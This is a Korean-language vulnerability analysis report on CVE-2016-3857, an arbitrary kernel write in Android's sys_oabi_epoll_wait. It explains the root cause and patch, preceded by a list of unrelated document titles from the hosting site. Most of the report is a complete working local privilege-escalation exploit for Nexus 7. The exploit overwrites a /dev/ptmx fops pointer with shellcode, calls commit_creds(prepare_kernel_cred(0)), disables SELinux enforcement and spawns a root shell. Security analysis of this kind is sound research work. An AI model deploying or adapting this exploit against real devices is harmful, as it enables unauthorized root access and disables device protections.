[ 목차 ] 1. 취약점개요 2. 배경지식 3. 취약점발생결과 (exploit 테스트 ) 4. 취약점발생원인분석 4.1 취약점 Q&A 5. exploit 분석 6. 보안대책 7. 결론 8. 레퍼런스 2

Similar documents
PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

The Pocket Guide to TCP/IP Sockets: C Version

K&R2 Reference Manual 번역본

<43B7CE20BECBBEC6BAB8B4C220BCD2C4CFC7C1B7CEB1D7B7A1B9D62E687770>

제1장 Unix란 무엇인가?

The Pocket Guide to TCP/IP Sockets: C Version

vi 사용법

2009년 상반기 사업계획

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

6주차.key

Microsoft Word - KPMC-400,401 SW 사용 설명서

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

/chroot/lib/ /chroot/etc/

Microsoft PowerPoint - ch09_파이프 [호환 모드]

2009년 상반기 사업계획


Microsoft PowerPoint - lab14.pptx

본 강의에 들어가기 전

Microsoft PowerPoint - 09-Pipe

10.

PowerPoint 프레젠테이션

03장.스택.key

슬라이드 1

제1장 Unix란 무엇인가?

untitled

PowerPoint 프레젠테이션

The Pocket Guide to TCP/IP Sockets: C Version

제12장 파일 입출력

PowerPoint 프레젠테이션

untitled

PowerPoint 프레젠테이션

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

제1장 Unix란 무엇인가?

Microsoft Word - Network Programming_NewVersion_01_.docx

chap7.key

11장 포인터

3. 다음장에나오는 sigprocmask 함수의설명을참고하여다음프로그램의출력물과그출력물이화면이표시되는시점을예측하세요. ( 힌트 : 각줄이표시되는시점은다음 6 가지중하나. (1) 프로그램수행직후, (2) 5 초후 (3) 10 초후 (4) 15 #include <signa

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D>

2009년 상반기 사업계획

The Pocket Guide to TCP/IP Sockets: C Version

교육지원 IT시스템 선진화

SYN flooding

1장. 유닉스 시스템 프로그래밍 개요

1장. 유닉스 시스템 프로그래밍 개요

좀비프로세스 2

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]

Microsoft PowerPoint - Supplement-02-Socket Overview.ppt [호환 모드]

본 강의에 들어가기 전

학번 : 이름 1. 다음프로그램실행결과를예측하시오. $./a.out & [1] 7216 $ kill -USR $ kill -USR 아래학생이작성한쓰레드코드의문제점을설명하시오. void* thread_main() { pthread_mutex_t

ABC 11장

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

untitled

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2

PowerPoint 프레젠테이션

Microsoft PowerPoint - 12 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 1.ppt

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

Microsoft PowerPoint - 13 ¼ÒÄÏÀ» ÀÌ¿ëÇÑ Åë½Å 2.ppt

Lab 4. 실습문제 (Circular singly linked list)_해답.hwp

Chapter #01 Subject

제1장 Unix란 무엇인가?

본 강의에 들어가기 전

슬라이드 1

5.스택(강의자료).key

Lab 3. 실습문제 (Single linked list)_해답.hwp

UI TASK & KEY EVENT

KEY 디바이스 드라이버

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to TCP/IP Sockets: C Version

Microsoft PowerPoint - chap10-함수의활용.pptx

Microsoft PowerPoint - chap11-포인터의활용.pptx

3. 다음장에나오는 sigprocmask 함수의설명을참고하여다음프로그램의출력물과그출력물이화면이표시되는시점을예측하세요. ( 힌트 : 각줄이표시되는시점은다음 4 가지중하나. (1) 프로그램수행직후, (2) kill 명령실행직후, (3) 15 #include <signal.

Chapter_02-3_NativeApp

본 강의에 들어가기 전

Microsoft Word - MSOffice_WPS_analysis.doc

슬라이드 1

제9장 프로세스 제어

歯9장.PDF

목차 목차포트스캔코드포트스캔결과포트스캔탐지코드포트스캔탐지결과 참조

Microsoft PowerPoint - 06-CompSys-16-Socket.ppt


ActFax 4.31 Local Privilege Escalation Exploit

<4D F736F F F696E74202D20C1A63134C0E520C6F7C0CEC5CD5FC8B0BFEB>

Microsoft PowerPoint - chap12-고급기능.pptx

<43B7CE20BECBBEC6BAB8B4C C5EBBDC52E687770>

<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E >

untitled

PowerPoint 프레젠테이션

BMP 파일 처리

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

chap 5: Trees

Transcription:

CVE-2016-3857 취약점분석보고서 ( 안드로이드커널임의쓰기취약점 ) ㅁ작성자 : x90c (x90chacker@gmail.com) ㅁ작성일 : 2018 년 7 월 18 일 ( 수 ) ㅁ대외비등급 : A (Top Secret) 1

[ 목차 ] 1. 취약점개요 2. 배경지식 3. 취약점발생결과 (exploit 테스트 ) 4. 취약점발생원인분석 4.1 취약점 Q&A 5. exploit 분석 6. 보안대책 7. 결론 8. 레퍼런스 2

1. 취약점개요 Zuk Avraham(@ihackbanme) 와 Nicolas Trippar(@ntrippar) 가 2017 년 5 월 25 일안드로이 드커널의임의쓰기취약점을보고했습니다. 해당취약점을통해권한상승이가능하므로 매우크리티컬한취약점이라고할수있습니다. 취약한안드로이드는버전 6.0 이하버전대이고, 취약한장치로는 Huawei MT7-UL00, Nexsus 7 이취약합니다. 2. 배경지식 3. 취약점발생결과 (exploit 테스트 ) - 테스트환경구축이어려워수행하지않고분석만했습니다. 양해바랍니다. 4. 취약점발생원인분석 /drivers/video/tegra/host/bus_client.c 파일의 'sys_oabi_epoll_wait' 커널함수에 취약점이존재합니다. 만약안드로이드 6.0 이전버전일때 'CONFIG_OABI_COMPACT' 가 3

설정되어있습니다. 따라서이것들은 Nexus 7(2003 년도 ) 나 Huawei MT7-UL00 에서취약합 니다. 'sys_oabi_epoll_wait' 과 ' put_user_error' 커널함수가유저랜드로부터온이벤트 포인터를적절히검사하지않는데, 만약이벤트들에커널주소를설정할수있다면 임의커널쓰기문제로이어질수있습니다. 보고된공격코드는 put_user_error() 호출을통해서공격하도록개발되었습니다. 아래는취약코드입니다. asmlinkage long sys_oabi_epoll_wait(int epfd,struct oabi_epoll_event user *events, int maxevents, int timeout) [...] for (i = 0; i < ret; i++) put_user_error(kbuf[i].events, &events->events, err); // 취약점발생지점. put_user_error(kbuf[i].data, &events->data, err); events++; [...] #define put_user_error(x, ptr, err) \ ( \ put_user_switch((x), (ptr), (err), put_user_nocheck); \ (void) 0; \ ) #define put_user_switch(x, ptr, err, fn) \ do \ const typeof (*(ptr)) user * pu_ptr = (ptr); \ // pu_ptr 포인터선언. typeof (*(ptr)) pu_val = (x); \ // pu_val = x( 첫인자 ) 설정. unsigned int ua_flags; \ might_fault(); \ ua_flags = uaccess_save_and_enable(); \ switch (sizeof(*(ptr))) \ // 포인터 크기에따라 fn() 함수호출함. 4

case 1: fn( pu_val, pu_ptr, err, 1); break; \ case 2: fn( pu_val, pu_ptr, err, 2); break; \ case 4: fn( pu_val, pu_ptr, err, 4); break; \ case 8: fn( pu_val, pu_ptr, err, 8); break; \ default: err = put_user_bad(); break; \ \ uaccess_restore( ua_flags); \ while (0) 4.1 취약점 Q&A 5. exploit 분석 > exploit 코드파일명 : cve-2016-3857.c /* * Just for Nexus 7(2013) LMY48T, if you want to run it on other version, some symbols address should be changed * * root@flo:/ # getprop ro.build.fingerprint * google/razor/flo:5.1.1/lmy48t/2237560:user/release-keys * * By Jianqiang Zhao(zhaojianqiang1@gmail.com) * 02-28-2017 * * Pointer Overwrite 취약점. - x90c (2018-07-17) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <arpa/inet.h> #include <sys/socket.h> 5

// epollevent 구조체선언레퍼런스 : // - https://android.googlesource.com/platform/bionic/+/d1ad4f6/libc/include/sys/ep oll.h #include <sys/epoll.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/utsname.h> #include <sys/system_properties.h> #include "pwn.h" #define MAXEVENTS 1 #define PORT 2222 #define epoll_wait_syscall(efd, events, maxevents, a) \ 리코드선언되어있음. oabi_syscall(efd, events, maxevents, a) // syscall.s 파일에어셈블 static int pfd[2]; typedef void (*COMMIT_CREDS)(unsigned int cred); typedef unsigned int (*PREPARE_KERNEL_CRED)(int cred); static COMMIT_CREDS commit_creds; static PREPARE_KERNEL_CRED prepare_kernel_cred; /* trigger: 취약점트리거기능및루트쉘획득기능! */ static trigger(void) int fd; fd = open("/dev/ptmx", O_RDONLY); // (9) /dev/ptmx 터미날 fd 오픈! if(fd == -1) printf("open ptmx fail (%s)\n", strerror(errno)); return -1; fsync(fd); // (10) 덮어쓰기된함수 (shellcode 함수 ) 호출! ( 쉘뜸 ) 6

close(fd); return 0; /* shellcode: 커널함수포인터에 pointer overwrite 될쉘코드기능. */ static void shellcode(void) *(unsigned int*)(current_dev->ptmx_fops + 13 * 4) = current_dev->tty_release; *(unsigned int*)(current_dev->ptmx_fops + 14 * 4) = 0; *(unsigned int*)(current_dev->ptmx_fops + 15 * 4) = 0; commit_creds = (COMMIT_CREDS)current_dev->commit_creds; prepare_kernel_cred = (PREPARE_KERNEL_CRED)current_dev->prepare_kernel_cred; commit_creds(prepare_kernel_cred(0)); // disable SELinux if (current_dev->selinux_enforcing) // selinux 끔. *(uint32_t*)current_dev->selinux_enforcing = 0; /* get_dev_info: 안드로이드장치정보얻는기능. */ static struct dev_spec_s *get_dev_info() int index = 0; struct utsname name = 0; char product_brand[prop_value_max] = 0; char product_model[prop_value_max] = 0; product_brand[0] = 0xab; product_model[0] = 0xab; if (uname(&name)) printf("uname() failed!\n"); return NULL; 7

if (0 == system_property_get("ro.product.brand", product_brand)) if(product_brand[0] == 0x0) printf("can't even get property for ro.product.brand\n"); printf(" system_property_get(ro.product.brand) failed!?\n"); return NULL; NULL; if (0 == system_property_get("ro.product.model", product_model)) if(product_model[0] == 0x0) printf("can't even get property for ro.product.model\n"); printf(" system_property_get(ro.product.model) failed!\n"); return for (index; index < sizeof(dev_list) / sizeof(struct dev_spec_s); index++) if (!strncmp(product_brand, dev_list[index].vendor, strlen(dev_list[index].vendor)) &&!strncmp(product_model, dev_list[index].product, strlen(dev_list[index].product)) &&!strncmp(name.release, dev_list[index].uname_r, strlen(dev_list[index].uname_r)) &&!strncmp(name.version, dev_list[index].uname_v, strlen(dev_list[index].uname_v))) return &dev_list[index]; return NULL; /* */ do_child_process: tcp 연결설정기능. static int do_child_process(void) int sock; struct sockaddr_in serv_addr; int str_len; 8

int ret = 0; char buff[20]; sock = socket(pf_inet, SOCK_STREAM, 0); if (sock == -1) printf("[-] create c socket fail (%s)\n", strerror(errno)); goto out; printf("[+] c socket.\n"); memset(&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(inaddr_any); serv_addr.sin_port = htons(port); close(pfd[1]); read(pfd[0], buff, sizeof(buff) -1); sleep(0.5); // tcp 소켓연결. if( connect(sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr)) == -1) printf("[-] create c socket fail (%s)\n", strerror(errno)); goto connect_out; printf("[+] c connet.\n"); connect_out: close(sock); out: return ret; /* getroot: 취약점공격메인코드부분. */ static int getroot(void) int serv_sock; 9

pid_t child; int efd; int s; struct epoll_event event; // epoll_event event 정의. unsigned int *aa; int ret = 0; unsigned int target; struct sockaddr_in serv_addr; struct sockaddr_in clnt_addr; memset(&serv_addr, 0, sizeof(serv_addr)); memset(&serv_addr, 0, sizeof(serv_addr)); // (1) TCP 서버소켓하나대기시킴. serv_sock = socket(pf_inet, SOCK_STREAM, 0); if (serv_sock == -1) printf("[-] create s socket fail (%s)\n", strerror(errno)); goto out; printf("[+] create s socket: %d.\n", serv_sock); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(inaddr_any); serv_addr.sin_port = htons(port); if( bind(serv_sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr)) == -1) printf("[-] s bind fail (%s)\n", strerror(errno)); goto bind_out; printf("[+] s bind.\n"); if(listen(serv_sock, 1) == -1) printf("[-] s listen fail (%s)\n", strerror(errno)); goto bind_out; printf("[+] s listen.\n"); 10

// (2) epoll_create(1) epoll fd 오픈! efd = epoll_create(1); if (efd == -1) printf("[-] create epoll fail (%s)\n", strerror(errno)); goto bind_out; printf("[+] s epoll_create.\n"); // (3) aa 포인터에 event.data.u64 설정, aa[1] = 쉘코드주소, aa[0] 에쉘코드주소설정. aa = (unsigned int*)&(event.data.u64); aa[1] = (unsigned int)shellcode; aa[0] = (unsigned int)shellcode; event.events = EPOLLIN EPOLLET; // 이벤트종류설정. // (4) EPOLL_CTL_ADD( 이벤트추가 ) epoll_ctl 제어명령어수행! s = epoll_ctl (efd, EPOLL_CTL_ADD, serv_sock, &event); if (s == -1) printf("[-] epoll ctl add fail (%s)\n", strerror(errno)); goto bind_out; printf("[+] s epoll_ctl.\n"); // 파이프생성. if(pipe(pfd) == -1) printf("[-] create pipe fail (%s)\n", strerror(errno)); goto bind_out; // (5) 프로세스생성. child = fork(); if(child < 0) printf("[-] fork fail (%s)\n", strerror(errno)); goto bind_out; 11

else if(child == 0) do_child_process(); // (6-1) 부모프로세스 : (tcp 연결 1회 ) exit(0); // 자식프로세스인경우 : // pile read 닫기. close(pfd[0]); // (6-2) target = current_dev->ptmx_fops( 하드코드된주소임 ) + 13 * 4 커널주소설정. target = current_dev->ptmx_fops + 13 * 4; write(pfd[1], "ready\n", 10); // (7) epoll_wait_syscall 취약함수호출을위해 target 을두번쨰인자로 epoll 이벤트호출! epoll_wait_syscall(efd, (struct epoll_event *)target, MAXEVENTS, 10000); wait(null); close(serv_sock); // 서버소켓닫기. printf("[+] trigger...\n"); trigger(); // (8) 취약점트리거! if (!setresuid(0, 0, 0)) setresgid(0, 0, 0); puts("\n[+] Got it :)"); printf("uid=%d gid=%d\n", getuid(), getgid()); sleep(1); ret = execl("/system/bin/sh", "/system/bin/sh", NULL); 트쉘실행! if( ret ) printf("execl failed, errno %d\n", errno); else printf("[-] Got root fail!\n"); // (11) 루 return 0; 12

bind_out: close(serv_sock); out: return ret; static void banner(void) printf("\n"); printf("*********************************************************\n"); printf("* Exploit for CVE-2016-3857 *\n"); printf("* For Nexus 7(2013) LMY48T *\n"); printf("* By Jianqiang Zhao (zhaojianqiang1@gmail.com) *\n"); printf("* 02-28-2017 *\n"); printf("*********************************************************\n"); printf("\n"); int main(int argc, char **argv) banner(); if (NULL == (current_dev = get_dev_info())) // 안드로이드폰디바이스정보읽음. printf("[-] error identifying the device or version, please add it to device list in pwc.h.\n"); return -1; getroot(); // 루트쉘획득공격시작!. return 0; 공격과정은아래와같습니다. (1) 쉘코드주소를 event.data 에준비하고, 이이벤트로 EPOL_CTL_ADD 명령어로 epoll_ctl() 을호출합니다. (2) ptmx_fops_fsync 주소를 event 에설정하고, sys_oabi_epoll_wait 13

(epoll_wait_syscall()) 을호출해버그를트리거합니다. (3) /dev/ptmx 디바이스를오픈해, 해당디바이스의 fsync() 함수를호출함으로써덮어씌워진쉘코드주소가실행이되고, 권한이상승합니다. (4) 루트쉘을띄웁니다. 6. 보안대책 취약하지않은커널버전대의배포판을사용하시길권합니다. [4] 7. 결론 임의커널쓰기가가능하도록유저랜드에서지정하는데이터를커널랜드주소인지검사하지않음으로써발생하는임의커널쓰기가능한취약점입니다. 유저랜드에서온주소라는것을적절히검사하고차단하면해당취약점은커널랜드메모리주소를지정할수없기때문에공격이성립되지않습니다. access_ok(verify_write,... ) 커널함수를통해서쓰기가가능한메모리인지검사를하는데유저랜드주소인지검사를하려면이커널함수를호출해서 validation( 적절성검사 ) 를거쳐야합니다. 하지만프로그래머의실수로놓치고빼놓게되면커널메모리에접근하는게가능해지는문제가발생하기에매우쉽게공격당할수있는취약점이발견되곤합니다. 해당취약점도그중하나입니다. 8. 레퍼런스 [1] https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2016-3857 [2] https://www.securityfocus.com/bid/92234/info [3] https://blog.zimperium.com/nday-2017-0103-arbitrary-kernel-write-in-sys_oabi_epoll_wait/ [4] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=7de24 9964f5578e67b99699c5f0b405738d820a2 14